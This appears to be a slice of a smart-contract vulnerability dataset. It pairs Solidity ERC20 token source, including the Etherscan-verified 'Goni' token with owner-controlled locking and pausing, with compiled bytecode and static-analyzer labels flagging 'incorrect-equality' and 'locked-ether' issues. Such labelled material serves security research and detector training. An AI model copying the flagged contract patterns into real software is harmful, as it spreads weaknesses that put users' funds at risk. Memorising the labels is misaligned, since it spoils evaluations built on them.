_totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } }
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680624f0a4a1461011657806306fdde0314610141578063095ea7b3146101d157806318160ddd146102365780631a626fea1461026157806323b872dd1461028c578063313ce56714610311578063395093511461034257806370a08231146103a7578063715018a6146103fe5780638da5cb5b146104155780638e407dc11461046c5780638f32d59b146104c357806395d89b41146104f2578063a457c2d714610582578063a9059cbb146105e7578063c84b8f9b1461064c578063dd62ed3e14610677578063f2fde38b146106ee578063fdb835a414610731575b600080fd5b34801561012257600080fd5b5061012b61078c565b6040518082815260200191505060405180910390f35b34801561014d57600080fd5b5061015661087a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019657808201518184015260208101905061017b565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101dd57600080fd5b5061021c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561024257600080fd5b5061024b610a49565b6040518082815260200191505060405180910390f35b34801561026d57600080fd5b50610276610a53565b6040518082815260200191505060405180910390f35b34801561029857600080fd5b506102f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5d565b604051808215151515815260200191505060405180910390f35b34801561031d57600080fd5b50610326610f7e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034e57600080fd5b5061038d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b604051808215151515815260200191505060405180910390f35b3480156103b357600080fd5b506103e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111cc565b6040518082815260200191505060405180910390f35b34801561040a57600080fd5b50610413611215565b005b34801561042157600080fd5b5061042a6112d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047857600080fd5b506104ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112fb565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b506104d8611344565b604051808215151515815260200191505060405180910390f35b3480156104fe57600080fd5b5061050761139c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054757808201518184015260208101905061052c565b50505050905090810190601f1680156105745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058e57600080fd5b506105cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061143e565b604051808215151515815260200191505060405180910390f35b3480156105f357600080fd5b50610632600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611675565b604051808215151515815260200191505060405180910390f35b34801561065857600080fd5b50610661611a07565b6040518082815260200191505060405180910390f35b34801561068357600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b18565b6040518082815260200191505060405180910390f35b3480156106fa57600080fd5b5061072f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b9f565b005b34801561073d57600080fd5b50610772600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bbe565b604051808215151515815260200191505060405180910390f35b600080610797611a07565b50600160045414156107af5760079050809150610876565b600260045414156107c657600a9050809150610876565b600160055414156107dd5760009050809150610876565b6301e1338060035401421115156107fa5760049050809150610876565b6303c2670060035401421115156108175760059050809150610876565b6305a39a8060035401421115156108345760079050809150610876565b630784ce0060035401421115156108515760089050809150610876565b6309660180600354014211151561086e57600a9050809150610876565b600090508091505b5090565b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109125780601f106108e757610100808354040283529160200191610912565b820191906000526020600020905b8154815290600101906020018083116108f557829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561095957600080fd5b81600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600e54905090565b6000600354905090565b600080600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548511151515610ab157600080fd5b600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548511151515610b3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610b7857600080fd5b620f424085111580610bbc5750610b8d6112d1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610bc757600080fd5b600a600e54811515610bd557fe5b04610bdf876111cc565b11151515610bec57600080fd5b610c3e85600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7190919063ffffffff16565b600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8961078c565b925084915060011515610c9b33611bbe565b15151415610cac5760009050610d18565b6000831415610cbe5760009050610d17565b610cc66112d1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d025760009050610d16565b8285811515610d0d57fe5b04905080850391505b5b5b610d6a82600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9290919063ffffffff16565b600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600e5403600e81905550610e4785600d60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7190919063ffffffff16565b600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a342600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600193505050509392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fd257600080fd5b61106182600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9290919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61121d611344565b151561122857600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114345780601f1061140957610100808354040283529160200191611434565b820191906000526020600020905b81548152906001019060200180831161141757829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561147b57600080fd5b61150a82600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7190919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600080600080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485111515156116c957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415151561170557600080fd5b620f424085111580611749575061171a6112d1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561175457600080fd5b600a600e5481151561176257fe5b0461176c876111cc565b1115151561177957600080fd5b6117cb85600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7190919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181661078c565b92508491506001151561182833611bbe565b1515141561183957600090506118a5565b600083141561184b57600090506118a4565b6118536112d1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561188f57600090506118a3565b828581151561189a57fe5b04905080850391505b5b5b6118f782600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9290919063ffffffff16565b600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e5411156119515780600e5403600e819055505b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a342600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001935050505092915050565b60006301e13380600354014210158015611a28575064060db88400600e5410155b8015611a3c5750630784ce00600354014211155b15611a5b57600160048190555060016006819055506004549050611b15565b6303c26700600354014210158015611a7a575064051f4d5c00600e5410155b8015611a8857506001600654145b8015611a9c57506309660180600354014211155b15611abb57600260048190555060026006819055506004549050611b15565b6305a39a80600354014210158015611ada57506404a817c800600e5410155b8015611ae857506002600654145b15611b0757600060048190555060016005819055506005549050611b15565b600060048190555060045490505b90565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ba7611344565b1515611bb257600080fd5b611bbb81611cb3565b50565b600062ed4e00600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540142101515611c165760019050611c6c565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611c675760019050611c6c565b600090505b919050565b600080838311151515611c8357600080fd5b82840390508091505092915050565b6000808284019050838110151515611ca957600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cef57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820e36be1fc6c0dc2fe6fedeb8e149cadc54b50de06de6934edf114a4d731e3c7ff0029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
419
0x4a729011b86b303520f39c620c78d97b6b24cbdf
/** *Submitted for verification at Etherscan.io on 2022-01-14 */ pragma solidity 0.4.25; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) balances; uint256 _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send."); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20Token is BasicToken, ERC20 { using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => mapping (address => uint256)) allowed; function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve."); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; mapping (address => bool) public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner,"I am not the owner of the wallet."); _; } modifier onlyOwnerOrAdmin() { require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address."); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet."); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function setAdmin(address newAdmin) onlyOwner public { require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token."); admin[newAdmin] = true; } function unsetAdmin(address Admin) onlyOwner public { require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet."); admin[Admin] = false; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused,"There is a pause."); _; } modifier whenPaused() { require(paused,"It is not paused."); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0; } uint256 c = a * b; require(c / a == b,"An error occurred in the calculation process"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b !=0,"The number you want to divide must be non-zero."); uint256 c = a / b; require(c * b == a,"An error occurred in the calculation process"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a,"There are more to deduct."); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a,"The number did not increase."); return c; } } contract BurnableToken is BasicToken, Ownable { event Burn(address indexed burner, uint256 amount); function burn(uint256 _value) onlyOwner public { balances[msg.sender] = balances[msg.sender].sub(_value); _totalSupply = _totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } } contract GoniToken is BurnableToken, DetailedERC20, ERC20Token,Pausable{ using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event LockerChanged(address indexed owner, uint256 amount); mapping(address => uint) locker; string private constant _symbol = "GONI"; string private constant _name = "Goni"; uint8 private constant _decimals = 18; uint256 private constant TOTAL_SUPPLY = 30*(10**8)*(10**uint256(_decimals)); constructor() DetailedERC20(_name, _symbol, _decimals) public { _totalSupply = TOTAL_SUPPLY; balances[owner] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){ require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number"); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){ require(_to > address(0) && _from > address(0),"Please check the address" ); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send."); require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function lockOf(address _address) public view returns (uint256 _locker) { return locker[_address]; } function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding."); require(balances[_address] >= _value,"Please check the amount"); locker[_address] = _value; emit LockerChanged(_address, _value); } function setLockList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{ require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different."); for (uint i=0; i < _recipients.length; i++) { require(_recipients[i] != address(0),"Please check the address"); require(balances[_recipients[i]] >= _balances[i],"Please check the amount"); locker[_recipients[i]] = _balances[i]; emit LockerChanged(_recipients[i], _balances[i]); } } function transferList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{ require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different."); for (uint i=0; i < _recipients.length; i++) { balances[msg.sender] = balances[msg.sender].sub(_balances[i]); balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]); emit Transfer(msg.sender,_recipients[i],_balances[i]); } } function() public payable { revert(); } }
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610142578063095ea7b3146101cc57806318160ddd146102045780631d5397641461022b57806323b872dd14610259578063313ce567146102835780633f4ba83a146102ae57806342966c68146102c35780634d253b50146102db5780635a46d3b5146102fc5780635c975abb1461031d57806363a846f8146103325780636618846314610353578063704b6c021461037757806370a08231146103985780638456cb59146103b9578063859bc2f3146103ce5780638da5cb5b146103fa57806395d89b411461042b578063a9059cbb14610440578063b0fc29e614610464578063d73dd62314610488578063dd62ed3e146104ac578063f2fde38b146104d3575b600080fd5b34801561014e57600080fd5b506101576104f4565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610191578181015183820152602001610179565b50505050905090810190601f1680156101be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d857600080fd5b506101f0600160a060020a0360043516602435610582565b604080519115158252519081900360200190f35b34801561021057600080fd5b50610219610695565b60408051918252519081900360200190f35b34801561023757600080fd5b50610257602460048035828101929082013591813591820191013561069b565b005b34801561026557600080fd5b506101f0600160a060020a03600435811690602435166044356109e9565b34801561028f57600080fd5b50610298610d55565b6040805160ff9092168252519081900360200190f35b3480156102ba57600080fd5b50610257610d5e565b3480156102cf57600080fd5b50610257600435610e4c565b3480156102e757600080fd5b50610257600160a060020a0360043516610f4e565b34801561030857600080fd5b50610219600160a060020a03600435166110a6565b34801561032957600080fd5b506101f06110c1565b34801561033e57600080fd5b506101f0600160a060020a03600435166110ca565b34801561035f57600080fd5b506101f0600160a060020a03600435166024356110df565b34801561038357600080fd5b50610257600160a060020a03600435166111ce565b3480156103a457600080fd5b50610219600160a060020a036004351661132d565b3480156103c557600080fd5b50610257611348565b3480156103da57600080fd5b506102576024600480358281019290820135918135918201910135611438565b34801561040657600080fd5b5061040f6116dd565b60408051600160a060020a039092168252519081900360200190f35b34801561043757600080fd5b506101576116ec565b34801561044c57600080fd5b506101f0600160a060020a0360043516602435611747565b34801561047057600080fd5b50610257600160a060020a036004351660243561185d565b34801561049457600080fd5b506101f0600160a060020a0360043516602435611a86565b3480156104b857600080fd5b50610219600160a060020a0360043581169060243516611b1f565b3480156104df57600080fd5b50610257600160a060020a0360043516611b4a565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561057a5780601f1061054f5761010080835404028352916020019161057a565b820191906000526020600020905b81548152906001019060200180831161055d57829003601f168201915b505050505081565b60008115806105b25750336000908152600760209081526040808320600160a060020a0387168452909152902054155b151561062e576040805160e560020a62461bcd02815260206004820152602c60248201527f506c6561736520636865636b2074686520616d6f756e7420796f752077616e7460448201527f20746f20617070726f76652e0000000000000000000000000000000000000000606482015290519081900360840190fd5b336000818152600760209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b600254600090600160a060020a03163314806106cb57503360009081526003602052604090205460ff1615156001145b1515610747576040805160e560020a62461bcd02815260206004820152602e60248201527f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207760448201527f616c6c657420616464726573732e000000000000000000000000000000000000606482015290519081900360840190fd5b8382146107ea576040805160e560020a62461bcd02815260206004820152604a60248201527f546865206e756d626572206f662077616c6c657420617272616e67656d656e7460448201527f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652060648201527f646966666572656e742e00000000000000000000000000000000000000000000608482015290519081900360a40190fd5b5060005b838110156109e257600085858381811061080457fe5b90506020020135600160a060020a0316600160a060020a031614151515610875576040805160e560020a62461bcd02815260206004820152601860248201527f506c6561736520636865636b2074686520616464726573730000000000000000604482015290519081900360640190fd5b82828281811061088157fe5b90506020020135600080878785818110151561089957fe5b90506020020135600160a060020a0316600160a060020a0316600160a060020a031681526020019081526020016000205410151515610922576040805160e560020a62461bcd02815260206004820152601760248201527f506c6561736520636865636b2074686520616d6f756e74000000000000000000604482015290519081900360640190fd5b82828281811061092e57fe5b9050602002013560096000878785818110151561094757fe5b60209081029290920135600160a060020a03168352508101919091526040016000205584848281811061097657fe5b90506020020135600160a060020a0316600160a060020a03167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd384848481811015156109be57fe5b905060200201356040518082815260200191505060405180910390a26001016107ee565b5050505050565b60085460009060ff1615610a47576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b6000600160a060020a038416118015610a6957506000600160a060020a038516115b1515610abf576040805160e560020a62461bcd02815260206004820152601860248201527f506c6561736520636865636b2074686520616464726573730000000000000000604482015290519081900360640190fd5b600160a060020a0384166000908152602081905260409020548211801590610b0a5750600160a060020a03841660009081526007602090815260408083203384529091529020548211155b1515610bac576040805160e560020a62461bcd02815260206004820152604660248201527f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7360448201527f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7560648201527f2073656e642e0000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a0384166000908152600960209081526040808320549183905290912054610be0908463ffffffff611d0116565b1015610c5c576040805160e560020a62461bcd02815260206004820152602e60248201527f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686560448201527f206c6f636b6564206e756d626572000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038416600090815260208190526040902054610c85908363ffffffff611d0116565b600160a060020a038086166000908152602081905260408082209390935590851681522054610cba908363ffffffff611d6116565b600160a060020a03808516600090815260208181526040808320949094559187168152600782528281203382529091522054610cfc908363ffffffff611d0116565b600160a060020a0380861660008181526007602090815260408083203384528252918290209490945580518681529051928716939192600080516020611f51833981519152929181900390910190a35060019392505050565b60065460ff1681565b600254600160a060020a03163314610dbb576040805160e560020a62461bcd0281526020600482015260216024820152600080516020611f31833981519152604482015260f960020a601702606482015290519081900360840190fd5b60085460ff161515610e17576040805160e560020a62461bcd02815260206004820152601160248201527f4974206973206e6f74207061757365642e000000000000000000000000000000604482015290519081900360640190fd5b6008805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600254600160a060020a03163314610ea9576040805160e560020a62461bcd0281526020600482015260216024820152600080516020611f31833981519152604482015260f960020a601702606482015290519081900360840190fd5b33600090815260208190526040902054610ec9908263ffffffff611d0116565b33600090815260208190526040902055600154610eec908263ffffffff611d0116565b60015560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a26040805182815290516000913391600080516020611f518339815191529181900360200190a350565b600254600160a060020a03163314610fab576040805160e560020a62461bcd0281526020600482015260216024820152600080516020611f31833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811660009081526003602052604090205460ff1615801590610fe35750600254600160a060020a03828116911614155b1515611085576040805160e560020a62461bcd02815260206004820152604760248201527f5468697320697320616e206578697374696e672061646d696e2077616c6c657460448201527f2c206974206d757374206e6f74206265206120746f6b656e20686f6c6465722060648201527f77616c6c65742e00000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03166000908152600360205260409020805460ff19169055565b600160a060020a031660009081526009602052604090205490565b60085460ff1681565b60036020526000908152604090205460ff1681565b336000908152600760209081526040808320600160a060020a038616845290915281205480831061113357336000908152600760209081526040808320600160a060020a0388168452909152812055611168565b611143818463ffffffff611d0116565b336000908152600760209081526040808320600160a060020a03891684529091529020555b336000818152600760209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600254600160a060020a0316331461122b576040805160e560020a62461bcd0281526020600482015260216024820152600080516020611f31833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811660009081526003602052604090205460ff1615156001148015906112675750600254600160a060020a03828116911614155b1515611309576040805160e560020a62461bcd02815260206004820152605d60248201527f4974206973206e6f7420616e206578697374696e672061646d696e697374726160448201527f746f722077616c6c65742c20616e64206974206d757374206e6f74206265207460648201527f6865206f776e65722077616c6c6574206f662074686520746f6b656e2e000000608482015290519081900360a40190fd5b600160a060020a03166000908152600360205260409020805460ff19166001179055565b600160a060020a031660009081526020819052604090205490565b600254600160a060020a031633146113a5576040805160e560020a62461bcd0281526020600482015260216024820152600080516020611f31833981519152604482015260f960020a601702606482015290519081900360840190fd5b60085460ff1615611400576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b60088054